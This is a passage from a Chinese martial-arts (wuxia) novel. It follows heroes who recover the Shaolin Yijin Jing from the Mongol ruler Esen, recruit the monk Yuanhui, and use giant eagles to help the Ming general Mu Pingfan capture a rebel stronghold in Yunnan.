来给这位大侠。”手下两个侍卫连忙跑去御宝库,功夫不大,取了一个古色古香的木匣,放在张皓光面前,张皓光一手抓着也先脉门,一手将木匣打开,只见里面一本古色古香秘籍,张皓光打开一看,正是少林易筋经,张皓光心中暗喜,大声喝道:“也先,还有一本武当派的三丰笔记,到哪里去了?”为何不拿来给我?”也先颤抖声音道:“大侠,你说的武当派三丰笔记,当年忽必烈大汗为了笼络伊尔汗国的旭烈兀汗,将武当派三丰笔记,赐给了伊尔汗国,现在,留在和林的,只有这本少林易筋经。”张皓光厉声道:“你敢骗我,我一掌打死你。”也先吓得浑身哆嗦,连连道:“大侠,我真的没有骗你,我以成吉思汗的名义发誓,武当派的三丰笔记,确实不在和林,让忽必烈大汗赏给了伊尔汗国,我对天发誓,绝无虚言。”张皓光看也先的神情确实也不像在说假话,心想取了少林易筋经秘籍回中原,也算是不虚此行了,张皓光道:“你让侍卫们全部退后,在宫门口备上一匹骏马,你送我出城,要是他们敢耍花样,我就一掌把你打死,也先连连道:“不敢,不敢,张皓光将木匣塞入怀中,然后抓着也先的脉门,小心谨慎全神戒备的向宫门走去,到了宫门外,果然有一匹骏马,张皓光拽着也先共乘一骑,向城北行去,宫中的侍卫们,大眼瞪小眼,也不敢在后面尾随,张皓光和也先来到城北树林处,一声长啸,只见张晓光沈云唐晟三人和四只巨鹰迎了上来,看见张皓光挟持一个蒙古贵族前来,三人情不自禁喜出望外,张皓光拽着也先纵身下马,沈云忙问,皓光,武功秘籍取到了吗?”张皓光道:“二叔,少林易筋经秘籍已经取到了。”唐晟道:“大哥,武当派三丰笔记怎么没拿到?”张皓光道:“听这也先说,武当派的三丰笔记,不在和林,当年让忽必烈赏给了伊尔汗国。”张晓光厉声道:“也先,你敢骗我们?”我杀了你。”说罢,抽出腰中宝剑,作势就要动手,也先吓得体似筛糠,魂不附体,颤抖着声音道:“几位大侠,我真的没有骗你们,我以成吉思汗的名义发誓,如有虚言,日后万箭穿心,死无葬身之地。”沈云察言观色,知道也先所言非虚,于是道:“算了,此次取到少林易筋经秘籍,也算不虚此行了,我们即可动身回中原。”四人骑上巨鹰,直向中原飞去。 也先回到宫中大发雷霆,上官龙兄妹和巴尔库虎等人也知道中了沈张晓光等人的调虎离山计,只好向也先请罪,也先发过火后,倒也没有怪罪几人,道:“这些汉人太过狡猾,这不能怪国师和虎儿。”巴尔库虎道:“父汗,今日我们受此奇耻大辱,定要向那些汉人寻仇,请父汗发布旨意,我和师兄师姐调兵遣将,挥师南下,攻打中原。”也先道:“此仇一定要报,但你刚刚回来担任兵马大元帅,对手下将领部众,还不了解,领兵作战,需要知人善任,何况行军打仗,需要招兵买马,打造兵器,聚草屯粮,我已吩咐知院阿剌,让他开始准备粮草兵器,,估计明年此时,我们就可以发动十万蒙古铁骑,挥师南下,到时候,将中原的武林江湖人士,杀个精光。”巴尔库虎虽然心急,但也知道父亲说得有道理,在后面几个月,也就安心协助知院阿剌打造兵器,征兵买马,聚草屯粮。 27. 第 27 章 第二十七章云南平叛 再说沈云唐晟张皓光张晓光,一行四人,乘坐巨鹰日夜兼程几日后,已经到达少林寺寺门前,张皓光和张晓光对沈云和唐晟道:“二叔,三弟,我们张家是明朝通缉的钦犯,不宜过多抛头露面,二叔和三弟你们前往少林寺拜见本空大师,我和二弟暂时回避,有什么事你们发出啸声,我们听到,立即会和你们汇合。”沈云唐晟和张氏兄弟告别后,来到少林寺门前,找知客僧通报,求见本空方丈,知客僧推辞道:“方丈正在坐关,不见香客,请两位施主请回。”沈云道:“请大师务必通报本空方丈,就说南海炎黄岛岛主南海神龙张志远命我们前来,送还贵寺易筋经。”知客僧一听,大吃一惊,心想:“本寺易筋经,自蒙古入侵中原,蒙古武士闯入少林夺走秘籍,落入蒙古人手中,少林寺虽多方打探寻求,也一无所获,后蒙元败走中原,只听闻将秘籍也一同带回蒙古草原,今日这两人竟然说受南海神龙张志远之命,特来归还秘籍。”不由得知客僧吃惊,但见这两人郑重其事,不像前来说笑之辈,知客僧考虑片刻,道:“请两位施主稍候,我让人通报方丈。”说完,就命一小沙弥进寺禀报,功夫不大,小沙弥急速跑回,对知客僧道:“师傅,方丈请两位施主会客禅院相见。”知客僧答声好,便带领沈云唐晟前往会客禅院,不消片刻,几人来到会客禅院,沈云和唐晟进院一看,只见一位七旬老僧正坐在木几前,沈云带领唐晟上前施礼道:“拜见方丈大师。”那老僧正是本空,对两人合掌回礼,开口道:“两位施主,是炎黄岛张志远张岛主派遣来的?”沈云道:“正是南海炎黄岛岛主南海神龙张志远命我们前来,送还贵寺易筋经。”然后从背负行囊中,取出一个包裹和一封信奉上,本空方丈接过包裹打开一看,包裹中有一个古色古香木匣,打开木匣一看,里面有一本古色古香书籍,正是被蒙古人抢走多年的少林至宝易筋经,饶是本空方丈已然心如止水,也不禁合什默念阿弥陀佛,又拿过书信,打开仔细看了一遍,道:“原来两位是圣火教的唐少教主沈天尊,幸会幸会,老僧接到丐帮飞鸽传信,几日前,有中原武林高手在蒙古首府和林,擂台比武获胜,听说已经夺回秘籍,今日方知是张岛主派两位公子和唐少教主沈天尊所为,少林寺幸得几位出手相助,夺回秘籍,实乃少林之福,张岛主派遣两位归还我少林至宝,老衲感激不尽,信中所提圆慧,是老衲的亲传弟子。”沈云道:“当年我恩师唐梦泽在华山绝顶与青龙会决斗,不幸亡故,圆慧大师伸出援手,加入我圣火教,被我师兄唐旭儿册封为赤金天尊,因十八年前,我教遭遇大难,几位天尊因为和凌风意见相左,所以离开总舵,这次少教主回归中原,自当请教中老人回教辅助,请本空大师成全。”本空方丈对徒儿圆慧的过往,自是一清二楚,本想他离开圣火教,回归少林,从此潜心佛学,不再过问江湖恩怨,没想到,唐旭儿竟有一个儿子,在南海让张志远夫妻抚养长大,现在唐晟要为父母报仇,重振圣火教,张志远身为他的姑父,这次派他送还易筋经秘籍,自是希望自己允准圆慧辅佐唐晟,本空大师想到此处,道:“请唐少教主和沈天尊稍候。”又对身旁小沙弥说:“你去把你圆慧师叔唤来。”小沙弥出门,过得片刻,只见一个高大和尚跟随小沙弥来到屋中,正是当年的圣火教赤金天尊圆慧,圆慧对本空方丈躬身行礼,道:“师父召见徒儿,有何吩咐?”本空方丈指着沈云和唐晟道:“你可知这两人是谁?”圆慧抬眼望去看到沈云,先是一惊,然后勃然大怒,口中怒喝:“叛贼,拿命来。”使出一招罗汉伏虎,直奔沈云而来,沈云急闪身形,躲过此招,口中道:“赤金天尊,你听我解释。”圆慧哪里听的进去,又是一招罗汉降妖攻向沈云,只听本空大师喝道:“圆慧,住手!”圆慧听得师父训斥,不敢违背,只好停下身形,不再动手,但是一双眼睛,饱含着怒火,怒视沈云,本空道:“圆慧,你可知那少年是谁?”圆慧扭头一看,见是一年轻小伙,感觉似曾相识,又认不出来,摇头答道:“徒儿不曾相识。”本空道:“他是当年圣火教教主唐旭儿的儿子唐晟。”圆慧一听,顿时大吃一惊,仔细打量,倒也是有几分唐旭儿的影子,圆慧问道:“师父,你说他是唐教主的儿子,可有何凭证?”本空让小沙弥将张志远书信递给圆慧观看,圆慧看过书信,才知道唐晟的确是唐旭儿之子,圆慧拉着唐晟,放声痛哭,本空方丈和沈云,连声劝慰,等圆慧哭罢,沈云并将十八年前,如何遭遇突袭,如何托孤,唐晟如何在南海长大,一一告知圆慧,圆慧对沈云躬身行礼,道:“众兄弟当年在东海击杀倭寇,没想到圣火崖发生惨变,江湖传闻,是你背叛本教,勾结江洋大盗,抢夺教中财宝,我等寻你不得,再加上炎黄岛张志远夫妻重金悬赏捉拿于你,所以我们都误会传言是真,没想到沈天尊忍辱负重,背负如此重担,还要受千夫所指,万人唾骂,圆慧向您陪罪了。”沈云忙躬身还礼,道:“当年确有叛徒,通风报信,出卖本教,才使得偷袭之人趁虚而入,避过前寨机关,不但抢夺我教中历代收藏宝物,还害了教主夫妇和几百教众性命,我身负托孤重任,又不知谁是反贼,自然不敢联系任何人,所幸苍天有眼,少教主已经长大成人,武功也是不凡,所以我想把教中兄弟重新聚拢,共同辅佐少教主,报仇雪恨,重振我圣火教威名。”圆慧一听,对着本空方丈扑通跪倒,道:“师父,弟子总是放不下无辜受害的几百教中兄弟,尘缘未了,求师父成全。”本空大师心中知道:“自己这个徒儿性如烈火,嫉恶如仇,十几年间,虽身在佛堂,却时刻放不下毁教之仇,如今见得唐晟,更是无法潜修佛学了,再加上张志远派沈云唐晟和两个儿子以身涉险,勇闯蒙古首府,擂台比武,夺回少林至宝易筋经秘籍归还少林,已是天大的恩情,如今也只能让圆慧随唐少教主和沈云去了。”想到这,本空道:“徒儿,此去江湖,危机重重,你好自珍重。”圆慧道:“谢师父关心,徒儿自当小心。”几人拜别本空方丈,又回圆慧禅房,取了衣物兵器,三人同行,出了少林。 三人出了少林,来到客栈,沈云问道:“赤金天尊,少教主和我久居南海,不知教中的兄弟现在何处,你看我们现在先去找谁?”圆慧想了一想,道:“少教主,沈天尊,我们先去云南找三弟紫木尊者沐平番,沐王府雄踞云南,乃大明朝廷屈指可数的封疆大吏王侯之家,若是能得他相助,必定可以事半功倍。”三人商量妥当,带上行李,又买了三匹骏马,三人直奔云南昆明而去。昆明历史悠久,早在春秋战国末期,楚国大将庄蹻率军进入滇池地区,与当地部落一同建立了“滇国”,他则成了第一代滇王,这就是很有历史意义的“庄开滇国”。因此滇池地区迎来了中原先进的文化与技术,并形成了独特的“滇文化”。公元前109年,西汉时期汉武帝攻打西南夷地区,滇王被迫归降。西汉朝廷便以滇池为中心设立了益州郡。在唐朝武德二年,于镇置昆明县,盖南接昆明之地,因此为名。公元937年,段思平定都羊苴咩城(今云南大理),国号“大理”,到了宋朝的宝佑二年即1254年,元朝军队灭了大理国。元朝统治者在鄯阐城设置了昆明千户所,由此昆明作为昆明县”。至此昆明正式成为全省政治、经济与文化中心。朱元璋在1368年建立明朝之后,封沐英为西平侯,让他平定云南之后,坐镇云南,戍守边疆等。此后,朱元璋又迁徙一大批中原大姓移居云南,以充实云南人口,沐英在云南屯田耕种,教授文化,十年间屯田百万余亩,让云南呈现一片欣欣向荣的景象,沐英被云南当地百姓尊为“沐王爷”。唐晟三人到了昆明后,打听到沐平番的住址后,三人前去拜访,守门的兵丁告诉三人,沐平番将军率领部队,在临沧平叛,临沧地处澜沧江和怒江两江之间,又和缅甸交界,山川众多,地势十分复杂险要,当地的苗寨土司心怀不轨,桀骜不驯,想自立为王,背叛大明,沐王爷命令沐平番率领三万军马前去攻打叛乱的苗寨土司,这苗寨土司仗着山高路险,城堡坚固,率领手下部众,固守城寨,拒不投降,沐平番亲自率领士兵攻打,一个月下来,士兵损伤几千,却无法攻破土司的城寨,沐平番心中着急,这天一大早,就召集段昌义高明亮等人商议,沐平番道:“这苗寨地势十分险峻,我们若是强攻,只怕士兵死伤太多,但是不将这苗寨土司剿灭,无法向朝廷交代,再说周边众多土司,都在伺机而动,若是不能将苗寨土司剿灭,其他部落的土司,恐怕也会蠢蠢欲动,跟随苗寨土司背叛大明。”段昌义高明亮等人自然知道这其中利害,沐平番和众人商议半天,也没有想出什么好办法,心中十分郁闷,正在此时,有兵丁来报:“将军,军营外,来了三个人求见,其中一个和尚,自称圆慧,说是将军的结义兄弟。”沐平番听到圆慧前来,不禁喜出望外,连忙起身迎了出去,一眼看见圆慧,不由得眼圈发红,连忙快走几步,大声道:“二哥,我们兄弟终于又见面了,你一向可好?”圆慧眼含热泪道:“三弟,这么多年没见,想死哥哥了。”两人双手紧紧握住,只觉得恍如隔世,圆慧平静一下心神道:“三弟,你看这两人是谁?”沐平番这才注意到沈云和唐晟两人,沐平番看见沈云,不禁大吃一惊,正欲发问,圆慧道:“三弟,事关重大,我们进去再说。”进到营帐中,几人落座,圆慧将沈云这些年经历一说,并介绍唐晟和其相识,沐平番感慨万分,由衷敬佩沈云忍辱负重侠肝义胆,待到圆慧说要聚拢教中兄弟,邀他重入江湖,重振圣火教,为教主和教中死去的兄弟复仇时,沐平番道:“二哥,唐少教主,沈天尊,云南地处边陲,为朝廷南方屏障,我现在身为朝廷命官,协助父兄镇守云南,父王已经年迈,很多事务由我兄弟二人帮忙处置,为教中兄弟报仇,我自是赞同,也应该出力,等我剿灭苗寨土司叛乱后,再禀报父王,征得父王同意后,才能离职。”沈云等人一想,沐平番说的在理,也就道:“那我们等沐兄弟的好消息。”圆慧问起平叛情况如何?”沐平番长叹一声,将面前的困难一一告知圆慧等人,沈云思索良久,低声和唐晟商议了一会,唐晟道:“沐将军,我有一个办法,可破苗人城寨。”沐平番一听,欣喜道:“唐少教主有何良策?”我洗耳恭听。”唐晟道:“南海炎黄岛,有南海巨鹰,这南海巨鹰,可以载人承重飞行,待我召集几十头巨鹰前来,沐将军选几十个武艺高强之人,陪同我和沈二叔乘坐巨鹰,飞到苗人城寨上空,然后从巨鹰身上跃入城寨之中,杀死守门的苗人部众,打开城门,沐将军再指挥人马杀入城寨,如此一来,苗人城寨可破。”沐平番道:“唐少教主和炎黄岛张家是至亲,借巨鹰相助,自是不难,但云南离南海炎黄岛,有几千里路程,想去借巨鹰相助,只怕时间太久,耽误了战事。”唐晟道:“沐将军请放心,十日之内,南海巨鹰可来相助。”沐平番闻言,又惊又喜,道:“那就请唐少教主尽快安排。”唐晟道:“沐将军不要着急,我现在就办,请沐将军稍候片刻。”说罢,拱手施礼,向营帐外走去,沈云也起身相随,沐平番心中迷惑不解,也和圆慧起身出了营帐,段昌义高明亮等人,也纷纷走出营帐,想看个究竟,唐晟出了营帐,凝神聚气,气沉丹田,发出两声长啸,沐平番圆慧等人虽然不明白唐晟发出两声长啸是何意,但心中都暗暗赞许,唐晟年纪轻轻,内力竟然如此深厚,功夫不大,只见天空之中,有一只巨鹰如同箭矢一般飞来,片刻功夫,已经到了众人面前,张晓光从巨鹰背上一跃而下,笑嘻嘻对沈云和唐晟道:“二叔,三弟,一向可好?”唐晟一指沐平番和圆慧道:“二哥,这位是云南沐王府二公子沐平番沐将军,也是当年我们圣火教的紫木天尊,这位圆慧大师,是少林本空方丈的亲传弟子,也是当年我们圣火教的赤金天尊。”张晓光上前施礼道:“在下张晓光,见过沐将军,圆慧大师。”沐平番虽然长期驻守云南,但对武林江湖中人,也对有些了解,加上原来在圣火教,也知道张晓光是教主唐旭儿的亲外甥,这张晓光是南海炎黄岛的二公子,一身武艺出神入化,尤其是轻功,更是武林一绝,在南海和中原武林中,被称为南海蝠王,声名显赫。沐平番连忙拱手回礼,道:“久闻南海蝠王大名,今日相见,果然是英雄豪杰。”圆慧也道:“南海蝠王客气了,您曾祖父张仁凤,是当年灵隐寺无尘大师的亲传弟子,辈分之高,天下人无人能及,若要从无尘大师处论起辈分,我还要喊 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你一声师叔。”张晓光连忙道:“圆慧大师过于自谦,在下岂敢。”圆慧对众人道:“一百多年前,无尘大师为保护杭州军民,不惜以身涉险,在二十万蒙古军营中,擒获忽必烈,迫使忽必烈发布诏书,公告天下,不伤杭州城军民一人性命,不夺杭州城军民一文财物,并将灵隐寺周边十万亩良田,供城中军民耕种,永不纳税,此等英雄壮举,在武林中,已经传颂百年,无尘大师座下四名亲传弟子,老大青面狮王定国,老二金毛犼李安邦,老三就是南海蝠王的曾祖父张仁凤,人称江南第一仁义公子,可惜英年早逝,老四是当今武林公认的武功天下第一的金翅大鹏叶天羽。”说到这,圆慧扭头对张晓光道:“请问张蝠王,不知你那几位太祖师,是否健在?”张晓光道:“大祖师爷和二祖师爷已经仙去,四祖师爷在炎黄岛上静养。”圆慧道:“叶老前辈武功内力天下第一,必定可以长命百岁有余,想当年,叶老前辈勇闯三怪岛,师兄弟联手消灭南海海盗中最凶悍的章鱼帮,又去棉兰国打退几万精兵强将,逼得棉兰国国王发誓,终生不得进犯炎黄岛,又勒令南海剩下的七股海盗,不得打劫汉人的渔船商船,在南海一带,被百姓视为活菩萨,这样的大英雄,大豪杰,大侠士,可惜我却无缘拜见,实乃人生一大憾事。”张晓光道:“四祖师爷身体尚好,圆慧大师以后有机会,欢迎到炎黄岛做客。”圆慧欣然道:“多谢张蝠王,日后定要去炎黄岛拜访叶老前辈。”众人又客气一番,到营帐中落座,唐晟将沐平番现在的困境,和自己的计划向张晓光一一道来,张晓光心中暗想,:“三弟这次回中原,要为父母报仇雪恨,必定要和那些偷袭圣火崖的贼人,青龙会,甚至要和青龙会幕后指使公孙世家,进行殊死较量,这沐王府在大明朝堂中,权高位重,身世显赫,又是镇守云南的封疆大吏,三弟日后行事,必定有求于沐王府,这次若是帮助沐平番平息叛乱,日后有事,也好向沐平番求助。”想到这,张晓光道:“沐将军本是我舅舅册封的圣火教紫木天尊,都是自家人,如今平叛遇到困境,既然三弟开口,我自当效力。”众人见张晓光答应,都齐声道谢,张晓光知道军情紧急,所以立刻动身,骑上巨鹰,返回炎黄岛,沐平番命令段昌义高明亮等人做好战前准备,自己则设宴款待唐晟沈云圆慧等人,转眼间,已经过了七八天,正当众人在营帐中焦急的等待时,忽听远方天空中,传来阵阵鹰鸣,唐晟冲出去一看,喜笑颜开,正是张皓光张晓光兄弟二人领着三十多头巨鹰前来,此时,沈云圆慧沐平番等人也出了营帐,众人一起准备迎接张氏兄弟,张皓光发出指令,众巨鹰降落在军营门前,兄弟二人一跃而下,双手抱拳,和众人打起招呼,众人连道辛苦,并引荐众人相识,休息两日后,第三天一早,唐晟,张氏兄弟,沈云,圆慧,带领沐平番军营中,朱雀门的二十多名高手,骑上巨鹰,向苗人城寨飞去,本来沐平番也要亲自和唐晟等人一起去,唐晟道:“沐将军是军中主帅,不可亲身涉险,需要留在后方协调将士统一作战。”沈云圆慧也出言劝阻,沐平番无奈,只好留在军营,安排将士们准备杀敌,此时唐晟等人,已经飞到苗人城寨上空,那些苗寨守卫,看见突然飞来这么多大鹰,正在好奇,忽然巨鹰降落,从巨鹰背上,跳下来三十多人,不由得大骇,一边大声惊叫示警,一边拿起兵器,和唐晟等人厮杀,沐平番听到城寨中,传来厮杀声音,立刻命令将士们拿起刀枪,向苗人城寨发起攻势,苗人部众虽然凶悍,但是挡不住唐晟沈云等一众武林高手的冲击,唐晟沈云等人个个身怀绝技武艺超群,如同砍瓜切菜一般,所向披靡势不可挡,很快就冲到城门处,唐晟命令一半人和守门部众厮杀,另一半人则奋力打开城寨大门,城门之外,是一条深不见底的山涧,原来用于通行的铁索桥,早已经被苗人土司派人砍断,此时沐平番已经率领将士冲到城门对面的山路上,唐晟也已经冲到城门外,和沐平番隔着山涧相望,沐平番大喊一声:“唐少教主,小心接着,说罢,拾起地上已经固定一头的铁索,双臂用力,将铁索的另一头甩向唐晟,唐晟眼疾手快,伸手接住,将铁索的这一头也固定好,沐平番和唐晟又如法炮制,很快在山涧上,架起了几道铁索,沐平番一挥手,身后的士兵很快在铁索桥上捆上木板做桥面,沐平番一声令下,率领将士们冲过铁索桥,杀入苗人城寨中,城寨中虽然有几千苗人士卒,但是看见大明将士源源不断蜂拥而入,也只能放下兵器举手投降,苗人土司见大势已去,已经回天无术,也只好将自己捆绑起来,向沐平番投降。 张氏兄弟见事情已经办妥,也不作停留,告别众人,带领巨鹰离去,沐平番处理好苗人城寨的事宜后,带着唐晟沈云圆慧等人回到昆明,沐平番安排家宴招待三人,畅谈往事,痛饮美酒,第二天一早,沐平番起床,洗漱完毕,骑马直奔沐王府而去,到了王府,让随从牵了马匹,让人通报沐王爷,片刻功夫,王府侍卫宣他进见,沐平番来到府中,拜见父亲,王爷赐座后,沐平番就将沈云圆慧等人前来邀请自己会圣火教重振雄风,又帮助自己平叛之事一一禀告,请求父亲恩准离任,沐王爷手捻胡须,沉思良久,道:“平番,你为人侠义,重朋友重感情,这是好事,但你现在已经脱离江湖十几年,已在朝廷任职,况且为父年纪已大,很多事情已经力不从心,云南地处边陲,情况复杂,关系国家和黎民百姓的安危,我沐家几代深受皇恩,奉旨镇守云南,你作为沐家子孙,应该以国事为重,以云南的百姓为重,辅佐你哥哥,做好国家屏障,护云南百姓安居乐业,这才是侠之大义,至于江湖中的恩恩怨怨,帮派寻仇,比起国家平定和黎民百姓的安危,自然要以国家和百姓为重。”沐平番让父亲这么一说,也是无言以对,只能返回将军府,见到唐晟沈云圆慧三人,把父亲的话一说,唐晟几人,也是无话可讲,只能表示理解,沐平番心中不免有些抱愧,将珍藏多年的圣火教紫木天尊令还给唐晟,道:“少教主,这紫木天尊令是当年令尊所赐,今日原璧归赵,沈天尊,圆慧二哥,我虽不能陪你们行走江湖,但我也会找机会为本教重振尽一份绵薄之力,日后有需要我帮忙的,我义不容辞,定当千里驰援,为少教主效力。”